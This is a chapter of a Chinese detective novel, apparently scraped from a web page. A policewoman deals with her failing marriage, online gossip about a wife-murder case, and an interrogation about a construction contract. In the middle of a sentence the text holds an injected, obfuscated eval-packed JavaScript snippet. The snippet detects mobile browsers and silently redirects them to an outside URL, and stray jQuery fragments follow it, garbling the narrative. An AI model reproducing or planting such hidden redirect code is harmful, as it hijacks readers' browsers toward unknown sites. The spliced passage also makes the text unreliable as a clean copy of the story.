“妈妈!”
“妈妈!我冷,这里好冷。”
“快抱抱我!”
……
陈秋池陡然醒来,胸口剧烈起伏着。
她闭上眼,好半天才反应过原来是个梦。伸出手,顺着熟悉的方向摸了摸,旁边小小枕头上空空的,什么也没有。
窗外又燥又潮的风吹来,把窗帘卷起,露出微微晨曦,她这才发现昨晚回来太困,空调也没开,窗户也没关,挨着床就睡着了。
现在浑身都是汗。冰箱里什么也没有,她把头伸进去冷冻了一会,长出几口气后,这才走出去,把门打开,从门口小盒子里拿了一瓶今天刚送来的牛奶。
瓶子上写着八个字:每日鲜奶,宝宝最爱。
陈秋池盯着上面的字愣了几秒,拧开瓶盖,小小抿了一口。
这时,范力打来了电话。
两天一夜没休息,即便方才睡了几个小时,她眼下依然隐隐青黑。
屏幕上的两个字让她的心猛烈坠下去,很久很久以后才勉强爬上来。
等反应过来时对方已经挂了电话。
没多久几条微信跳出来。
【我们什么时候去办离婚手续?】
【你别怪我,我只是想好好生活下去。】
【你也得学会放下。】
【对了,你要不要去看下心理医生?没有人会每天往手腕上画金鱼。你皮肤容易过敏,那种彩笔颜料会让你的过敏加重,非常痒不说,你挠破了还会留疤。我都不知道你是怎么忍下来的?!】
陈秋池扯了扯嘴唇,漠然地按灭手机。
-
两名警察在查案过程中被人围堵长达半小时,他们被拍摄,被直播,被推搡,被污蔑,这件事由此又将“杀妻案”推向新的热度。幸好这两人全程冷静,沉着应对,并将局势控制在可控范围内,也幸好明事理、明法理的人多,舆论才没有被“歪理”带歪。
即便如此,各种质疑猜测依然尘嚣甚上。现在追求舆论自由,针对社会话题每个人都有评价的权利,即便道听途说说错了,随意瞎猜猜错了,也没关系,道歉就行,甚至有时候连道歉也不用,大不了换号再来。
有人说方月华如此明目张胆地杀人,这个节骨眼又有一群人瞎闹事要求警察把他放出来,他……是不是上面有人?
有人说方月华可能被某某男权组织毒害了,仇女仇到要对枕边人下手。这次闹事会不会这个组织背后指挥的?
有人还斩钉截铁地说方月华跟唐继业有一腿,李重发现自己是同妻,方月华为了和心上人在一起就杀了她,而唐继业为了和心上人在一起,找人围攻警察,给警察施压。
陈秋池看到这些评论时,忍不住深深吸了口气,然后就看到有网友把关注转移到了她的身上。
大力夸赞她冷静的同时,开始扒她的“生平经历”,评论她的脸和身材,以及性别。
有人问:让一个女警察来侦破一起杀妻案,这种操作有点怪吧?
有人问:这个女警察会不会仇男啊,这会不会影响她判断失误?
有人问:女人当刑警,能行吗?
-
陈秋池赶回局里时,刘波刚从审讯室走出来。
“不是让你今天在家休息吗?”
“审得如何?”
“没吃早餐吧。我让苏鹤给你买。”
“刘队,”陈秋池蹙着眉,“站在你面前的是一名刑警,还是你从小就认识的邻家妹妹?”
刘波一愣,随即笑起来,“一会儿继续审。你要参加。”
“当然,是我的案子。我肯定要参加。”陈秋池定定道。
-
审讯室。
唐继业絮絮叨叨,“警察同事,我一会还要去买菜回家给我女儿做午饭,她妈不会做饭,我女儿吃不到我做的饭回闹脾气的。”
陈秋池看着他,片刻后,他闭上了嘴。
“是你告诉那些供应商,方月华被抓,他的钱就会被政府没收?”
唐继业像被踩着尾巴似的,一口否认,“没有!绝对没有!我原话是说方月华欠了我很多钱,我现在巴不得他被放出来,赶紧把钱还给我。不然这些钱肯定要拿来赔给李重的家人。我一分钱也捞不着。”
苏鹤想起昨天的事就心有余悸,万一刘队他们没有及时赶来,万一围堵的这些人中哪个一时冲动直接动手了,哪怕谁随便瞎喊一句:警察打人了,他和组长今天就没办法全身而退。
所以面前这个搅事者仍然一副不关我事的样子,让他的火立刻冒起来。
“唐继业你还敢狡辩?要是没有你的挑唆,他们会围堵警察吗?你是不是预感到我们会来传唤你,所以提前预备着?你和方月华之间到底有什么见不得人的勾结?你是有多害怕来公安局?”
唐继业连连摆手,“真没有!我真的没有挑唆,也没有不愿意配合调查,我真的就是个正经做生意的。我真不知道方月华是这种杀妻变态狂啊,要知道的话,我肯定第一个举报他,而且绝对不会和他做朋友,更不会让他去我家吃饭,见我的老婆孩子……哎呦,你们是不知道我老婆孩子最近被吓得睡都睡不好……”
陈秋池打断他,“先说说方月华介绍给你的工程。”
唐继业擦着额头的冷汗。
“他介绍的工程的确是个好工程,德威集团你们知道吧,他们可是咱们市最大的工业产业园运营商,虽然没上市,但资产雄厚,名下产业园有几十个,是我们这些做工程的最想巴结的对象……”
“警察同志,做工程就是这样。关系搞好了,就能拿到项目。当然,我们可是正儿八经做生意的,不搞送礼行贿那一套。投标、述标、竞标、开标这些流程都是严格按照国家规定搞的。这点你们放一万个心。”
“方月华不知道从哪里知道德威集团有个新建产业园的道路工程正在筹备,就过来找我合作,让我去投标。”
唐继业指着从他办公室里拿来的七八个文件袋。
这里面装着这个工程所有相关的文件,包括投标文件、合同、设计方案、竣工验收报告、竣工结算报告、审计结算报告等等。一项工程从投标开始到拿到工程款,需要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14315524|152022||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一系列各个阶段的纸质盖章文件,缺一不可。
“去年的运气真是出奇的好啊,我们公司顺利通过考核进入德威集团的供应商库,还非常幸运地中了标,拿到了项目。这个产业园刚好又着急建,着急开园招商,所以工程进度也非常快,德威集团不愧是大公司,等我们施工完,审计结算后就一分不少地付了我们工程款。”
陈秋池翻看着面前的一堆资料。这项工程从开始招标到施工结束总共五个月,整个工程造价1000万左右,对于小规模工程公司来说,造价可观,技术又没什么难度,业主又是这样有实力的大公司,确实是个大家都会争抢的香饽饽。
尤其对于唐继业来说,他的工程公司多年经营不善,接的工程要么小得可怜,要么业主事多还拖欠工程款,遇到这样的好项目当然属于时来运转。
“你给方月华多少介绍费?”陈秋池问。
唐继业伸出三个手指头,“给了他三个点,也就是三十万。不少了,我这都是市场价加上多年的友谊价。文件袋里有我和他签订的合同协议和支付凭证。”
说到这里,他有点不忿道:“我本来只想给他十万,他只是提供我一个项目信息,中间所有的流程、手续还有有具体施工都是我一个人操心搞下来的。是我垫的资,是我出的人,是我没日没夜在工地上操劳,他动了动嘴皮子就拿了三十万……这钱也太好赚了。”
2022年三个月内方月华突然拿到一笔巨款,不仅偿还了自己的债务,把自己从失信人名单上去除,还把他的妻子李重身上87万的账务全部还清。
假如这三十万中间费真实存在,毫无问题,那剩下的近百万的窟窿又是用哪里来的钱填上的?
这时,刘波进来了。一道巨大的阴影瞬时压到了唐继业的身上。
唐继业仰起头,看见一张满是凝重煞气的脸,他立马忍不住哆嗦了一下。
“唐先生,别害怕,只是例行询问。没有别的意思。”
刘波笑呵呵地从嘴里吐出如沐春风的话。
唐继业立马觉得这张凶神恶煞的脸温柔了许多。
“我不怕。没做亏心事不怕鬼上门,”唐继业满脸尴尬,“哎呀,没说你们是鬼……”
他开始诉苦,说上辈子是造了孽才做工程,工程老板尤其是小工程老板那就是最苦逼的底层,不仅要受业主的压榨,还要被工人追着屁股讨债,供应商也会一言不合就上门堵人。
说着说着一把眼泪一把鼻涕地哭开了。
陈秋池默默看着刘波递过去一张纸,看着他拍了拍唐继业的肩膀,“不容易,干什么都不容易啊。”
苏鹤锁起眉头。
陈秋池索性把笔放下。
刘波递给唐继业第三张纸巾的时候,突然来了句,“朱景福,你认识吧。”
唐继业下意识地点了下头,然后猛然愣住,“不,不认识。”
刘波回头看向陈秋池,“朱景福是德威集团工程部经理,也是黔北人,和方月华是初中同学。”
他顿了下,“也是李重的初中同学,以及初恋。”